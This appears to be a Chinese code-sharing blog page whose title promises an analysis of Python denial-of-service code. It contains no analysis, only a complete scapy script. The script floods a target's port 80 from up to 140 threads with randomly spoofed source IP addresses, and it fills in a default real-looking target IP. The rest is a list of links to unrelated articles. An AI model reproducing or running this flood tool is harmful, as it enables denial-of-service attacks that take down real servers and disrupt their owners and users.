分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
给Python IDLE加上自动补全和历史功能
Nov 30 Python
python提取内容关键词的方法
Mar 16 Python
python判断一个集合是否包含了另外一个集合中所有项的方法
Jun 30 Python
巧用python和libnmapd,提取Nmap扫描结果
Aug 23 Python
pandas 透视表中文字段排序方法
Nov 16 Python
解决python3 Pycharm上连接数据库时报错的问题
Dec 03 Python
在scrapy中使用phantomJS实现异步爬取的方法
Dec 17 Python
Python中单线程、多线程和多进程的效率对比实验实例
May 14 Python
pyinstaller打包程序exe踩过的坑
Nov 19 Python
详解Python中的分支和循环结构
Feb 11 Python
Python+OpenCV图像处理——打印图片属性、设置存储路径、调用摄像头
Oct 22 Python
python树莓派通过队列实现进程交互的程序分析
Jul 04 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
PHP时间戳使用实例代码
2008/06/07 PHP
PHP之COOKIE支持详解
2010/09/20 PHP
php指定长度分割字符串str_split函数用法示例
2017/01/30 PHP
php实现的pdo公共类定义与用法示例
2017/07/19 PHP
什么是JavaScript
2009/08/13 Javascript
如何使用jQuery来处理图片坏链具体实现步骤
2013/05/02 Javascript
javascript实现颜色渐变的方法
2013/10/30 Javascript
js打开windows上的可执行文件示例
2014/05/27 Javascript
JavaScript对象参数的引用传递
2016/01/14 Javascript
AngularJS使用ng-app自动加载bootstrap框架问题分析
2017/01/04 Javascript
H5手机端多文件上传预览插件
2017/04/21 Javascript
详细AngularJs4的图片剪裁组件的实例
2017/07/12 Javascript
vue滚动轴插件better-scroll使用详解
2017/10/17 Javascript
如何使用python爬取csdn博客访问量
2016/02/14 Python
Python实现单词翻译功能
2017/06/06 Python
Python去除、替换字符串空格的处理方法
2018/04/01 Python
python pygame实现方向键控制小球
2019/05/17 Python
学习python分支结构
2019/05/17 Python
用python给自己做一款小说阅读器过程详解
2019/07/11 Python
python 判断字符串中是否含有汉字或非汉字的实例
2019/07/15 Python
详解python定时简单爬取网页新闻存入数据库并发送邮件
2020/11/27 Python
手机配件第一品牌:ZAGG
2017/05/28 全球购物
俄罗斯电子产品、计算机和家用电器购物网站:OLDI
2019/10/27 全球购物
美国在线医疗分销商:MedEx Supply
2020/02/04 全球购物
校班主任推荐信范文
2013/12/03 职场文书
九一八事变演讲稿
2014/09/05 职场文书
2014年销售工作总结范文
2014/12/01 职场文书
2015国庆66周年宣传语
2015/07/14 职场文书
食品卫生管理制度
2015/08/06 职场文书
《你在为谁工作》心得体会(共8篇)
2016/01/20 职场文书
《蚂蚁和蝈蝈》教学反思
2016/02/22 职场文书
关于食品安全的演讲稿范文(三篇)
2019/10/21 职场文书
小程序实现筛子抽奖
2021/05/26 Javascript
手把手教你用SpringBoot将文件打包成zip存放或导出
2021/06/11 Java/Android
如何打开Win11系统注册表编辑器?Win11注册表编辑器打开修复方法
2022/04/05 数码科技
Python OpenCV形态学运算示例详解
2022/04/07 Python